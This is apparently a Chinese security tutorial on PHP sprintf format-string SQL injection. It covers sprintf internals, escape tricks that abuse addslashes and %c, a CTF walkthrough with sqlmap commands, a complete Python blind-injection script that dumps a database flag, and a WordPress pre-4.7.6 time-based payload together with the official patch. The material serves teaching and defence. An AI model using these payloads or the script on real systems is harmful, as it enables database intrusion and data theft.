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深入解析sprintf格式化字符串漏洞
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深入解析sprintf格式化字符串漏洞
原创：threepwn合天智汇
0x01 sprintf()讲解
首先我们先了解sprintf()函数
sprintf() 函数把格式化的字符串写入变量中。
sprintf(format,arg1,arg2,arg++)
arg1、arg2、++ 参数将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的。在第一个 % 符号处，插入 arg1，在第二个 % 符号处，插入 arg2，依此类推。
注释：如果 % 符号多于 arg 参数，则您必须使用占位符。占位符位于 % 符号之后，由数字和 "\$" 组成。
通过几个例子回顾一下sprintf
例子1：
<?php
$number = 123;
$txt = sprintf("带有两位小数：%1\$.2f<br>不带小数：%1\$u",$number);
echo $txt;
?>
输出结果:
带有两位小数：123.00
不带小数：123
例子2：
<?php
$num1 = 123456789;
$num2 = -123456789;
$char = 50;
// ASCII 字符 50 是 2
//注释：格式值 "%%" 返回百分号
echo sprintf("%%b = %b",$num1)."<br>"; // 二进制数
echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符
echo sprintf("%%s = %s",$num1)."<br>"; // 字符串
echo sprintf("%%x = %x",$num1)."<br>"; // 十六进制数（小写）
echo sprintf("%%X = %X",$num1)."<br>"; // 十六进制数（大写）
?>
输出结果:
%b = 111010110111100110100010101
%c = 2 //注意var_dump('2')为string
%s = 123456789
%x = 75bcd15
%X = 75BCD15
0x02 sprintf注入原理
底层代码实现
我们来看一下sprintf()的底层实现方法
switch (format[inpos]) {
case 's': {
zend_string *t;
zend_string *str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment,
always_sign);
break;
case 'u':
php_sprintf_appenduint(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble(&result, &outpos,
zval_get_double(tmp),
width, padding, alignment,
precision, adjusting,
format[inpos], always_sign
);
break;
case 'c':
php_sprintf_appendchar(&result, &outpos,
(char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 3,
hexchars, expprec);
break;
case 'x':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
hexchars, expprec);
break;
case 'X':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 4,
HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 1,
hexchars, expprec);
break;
case '%':
php_sprintf_appendchar(&result, &outpos, '%');
break;
default:
break;
}
可以看到， php源码中只对15种类型做了匹配， 其他字符类型都直接break了，php未做任何处理，直接跳过，所以导致了这个问题： 没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\（或%1$\）被替换为空 因此sprintf注入，或者说php格式化字符串注入的原理为： 要明白%后的一个字符(除了%，%上面表格已经给出了)都会被当作字符型类型而被吃掉，也就是被当作一个类型进行匹配后面的变量，比如%c匹配asciii码，%d匹配整数，如果不在定义的也会匹配，匹配空，比如%\，这样我们的目的只有一个，使得单引号逃逸，也就是能够起到闭合的作用。
这里我们举两个例子
NO.1
不使用占位符号
<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\回去匹配admin字符串，但是%\只会匹配空
运行后的结果
select * from user where username = '' and 1=1#'
NO.2
使用占位符号
<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显，这个句子里面的\是由addsashes为了转义单引号而加上的，使用%s与%1$\类匹配admin，那么admin只会出现在%s里，%1$\为空
echo $sql ;
运行后的结果
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
对于这个问题，我们还可以这样写
$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');
//result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
第一个格式化处匹配时为空，会让给后面的格式化匹配 以上两个例子是吃掉'\'来使得单引号逃逸出来 下面这个例子我们构造单引号
NO.3
对%c进行利用
<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo $sql ;
%c起到了类似chr()的效果，将数字39转化为‘，从而导致了sql注入。 所以结果为：
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39
小结
漏洞利用条件 1. sql语句进行了字符拼接 2. 拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串
ps:
mysql> SELECT ascii('\'');
+-------------+
| ascii('\'') |
+-------------+
| 39 |
+-------------+
0x03 题目训练
一道注入题目
形式很像SQL注入，而且题目中提示为SQLI 先试了一下弱口令，确定username为admin 那么就对username与password进行注入，开始普通注入，二次解码，宽字节，过滤空格，过滤关键字等姿势进行构造注入语句都无果，而且还耗费大量的时间，不过后来get到一种姿势，使用burpsuit的intruder跑一下，来查看那些字母或者字符没有被过滤掉（waf字典） 后来发现%可疑，于是拿出来repeater一下
sprintf函数出错，那么sprintf是什么，格式化字符串，于是乎就懂得其中的原理了，是其单引号逃逸 构造username=admin%1$\' and 1=2# 与 username=admin%1$\' and 1=1# 发现如下的结果
可以发现'后面的语句带入执行了，这就是注入点，使用sqlmap跑一下 事先抓取post包
python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10
于是对ctf进行跑tables 得到
对flag跑columns 得到
对每个列进行dump但是dump下来不对，找了一波原因没有找到，开始用脚本跑 跑完后才发现sqlmap跑出来的列不对，应该是flag，于是
python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10
才得到正确结果 ：） 下面是脚本跑的
做实验
利用sqlmap进行POST注入
http://hetianlab.com/expc.do?ce=1336a6fb-7b18-4dd6-8a6d-b9a7ae92f73d
（了解sqlmap，掌握sqlmap的常用命令，学会使用sqlmap进行POST注入攻击）
中心思想
先判断length 然后使用ascii判断字母 ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" 使用这个语句进行判断 涉及到的一些知识点：
代码
#coding:utf-8
import requests
import string
def boom():
url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'
s = requests.session()
//会话对象requests.Session能够跨请求地保持某些参数，比如cookies，即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies，这样就很方便地处理登录时的cookies问题。
dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
right = 'password error!'
error = 'username error!'
lens = 0
i = 0
//确定当前数据库的长度
while True:
payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens=i
break
i+=1
pass
print("[+]length(database()): %d" %(lens))
//确定当前数据库的名字
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]database():%s" %(strs))
lens=0
i = 1
while True:
payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
//对当前的数据库，查询第一个表的长度
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(table): %d" %(lens))
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
// 数字一定要str才可以传入
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]table_name:%s" %(strs))
tablename = '0x' + strs.encode('hex')
//编码为16进制
table_name = strs
lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(column): %d" %(lens))
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]column_name:%s" %(strs))
column_name = strs
num=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
num = i
break
i+=1
pass
print("[+]number(column): %d" %(num))
lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(value): %d" %(lens))
i=1
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':'1'}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]flag:%s" %(strs))
if __name__ == '__main__':
boom()
print 'Finish!'
<?php
$input = addslashes("%1$' and 1=1#");
echo $input;
echo "\n";
$b = sprintf("AND b='%s'",$input);
echo $b;
echo "\n";
$sql = sprintf("select * from t where a='%s' $b",'admin');
echo $sql;
>>>结果
%1$\' and 1=1#
AND b='%1$\' and 1=1#'
select * from t where a='admin' AND b='' and 1=1#'
格式字符%后面会吃掉一个\即%1$\被替换为空，逃逸出来一个单引号，造成注入.
0x04 Wordpress格式化字符串漏洞
漏洞跟踪
wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞 官方在4.7.6已经给出了补救办法 在我们即将要说的地方增加了这么一端代码
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允许 %后面出现dsF 这三种字符类型， 其他字符类型都替换为%%\1, 而且还禁止了%, $ 这种参数定位 首先 我们找到upload.php 可以发现在deleta中 $post_id_del（比如int()） 未经过处理，直接传入
case 'delete':
if ( !isset( $post_ids ) )
break;
foreach ( (array) $post_ids as $post_id_del ) {
if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟进
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( !wp_delete_attachment( $post_id_del ) )
wp_die( __( 'Error in deleting.' ) );
}
$location = add_query_arg( 'deleted', count( $post_ids ), $location );
break;
跟进wp_delete_attachment( )函数 其中参数$post_id_del为图片的postid wp_delete_attachment( )中 调用了delete_metadata 函数
function wp_delete_attachment( $post_id, $force_delete = false ) {
.......
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.
......
}
继续跟进delete_metadata函数 漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面， 有如下代码:
if ( $delete_all ) {
$value_clause = '';
if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
$value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
}
$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
调用了两个prepare函数 跟进prepare函数
public function prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
_doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, array( $this, 'escape_by_ref' ) );
return @vsprintf( $query, $args );
}
详细看prepare函数对传入参数的处理过程 首先对%s进行处理
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
把'%s'替换为%s，然后再把"%s"替换成%s，替换为浮点数%F 把%s替换成'%s' 最后再进行vsprintf( $query, $args ); 对拼接的语句进行格式化处理 我们一步步分析 假设传入的$meta_value为'admin'
$wpdb->prepare( " AND meta_value = %s", $meta_value );
经过prepare函数处理后得到
vsprintf( " AND meta_value = '%s'",'admin')
=> AND meta_value = 'admin'
return到上一级函数后，继续执行这一条拼接语句：
$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )
经过prepare函数处理后得到
vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')
=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'
看起来一切都很正常，毫无bug 但是我们可以思考一下，怎样使其形成注入呢？s> 或者说怎样逃逸一个单引号？ 在之前我们先看一下，可控变量 $post_id_del 的路线
$post_id_del => $post_id => $meta_value => $args => $query
显然这里面两处admin都有单引号，而且两处都与 $post_id_del 联系，如何来选择？ 对于第一处单引号 它是通过一次替换处理得到的，显然是对单引号>无法处理 对于第二处单引号 经过两次的替换，（这里的意思是执行了两次的替换代码，可能第二段代码对他没有起到实质性的作用，仅仅是去点单引号然后又加上单引号） 但是这一出经过了两次处理是必须的，那么我们是否能够是构造出另一个单引号（此时第二处有三个单引号）就可以闭合前面的单引号了 最重要的是，第二次的替换处理的变量是可控的，因此要引入单引号，我们需要$meta_value含有%s 那么第一次的结果为
AND meta_value = 'X%sY'（其中XY为未知量）
//这里需要注意，为什么%s不被单引号围起来，我看过一篇博客，它是写的'%s'，这显然是错的，为什么呢？我们生成了'%s'是没错，不过还原一下过程就知道了，首先我们生成了AND meta_value = '%s'，注意此时与$meta_value没有半毛钱关系，后来的vsprintf后，才与$meta_value有了关系，原来的%s被替换成了X%sY，值得注意的是这里的%s没有经过任何处理，处理是在第二轮进行的，这是后话。
第二次后的结果为
SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'
（对于第二处的%s我们先不要带入格式化后的值，其实真实的语句应该为：
SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y'）
分析到这里，相信大家应该知道传值（$meta_value）使单引号逃逸出来了吧 admin显然是多余的，那么我们需要把它放在单引号里面，因此第二个单引号需要去掉，那么第四个单引号需要注释掉，这就很轻而易举地构造sql语句 AND meta_value = 'Xadmin'Y Y里面就是我们注入的代码
漏洞利用
怎么去传值呢？ 利用格式化字符串漏洞 去掉第二个单引号就需要使该单引号成为%后的第一个字符，也就是%'，但是我们还需要一个占位符，%1$' 这样就没有报错的去掉了该单引号 所以我们构造的payload为
$meta_value = %1$%s AND SLEEP(5)#
=> AND meta_value = '%1$%s AND SLEEP(5)'
=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'
其中 %1$' => 空
=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'
成功利用该漏洞形成时间注入
漏洞修补
现在我们说一下第四部分开头的补救方法 后来官方在prepare函数加了这一代码
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents
只允许 %后面出现dsF 这三种字符类型， 其他字符类型都替换为%%\1, 而且还禁止了%, $ 这种参数定位
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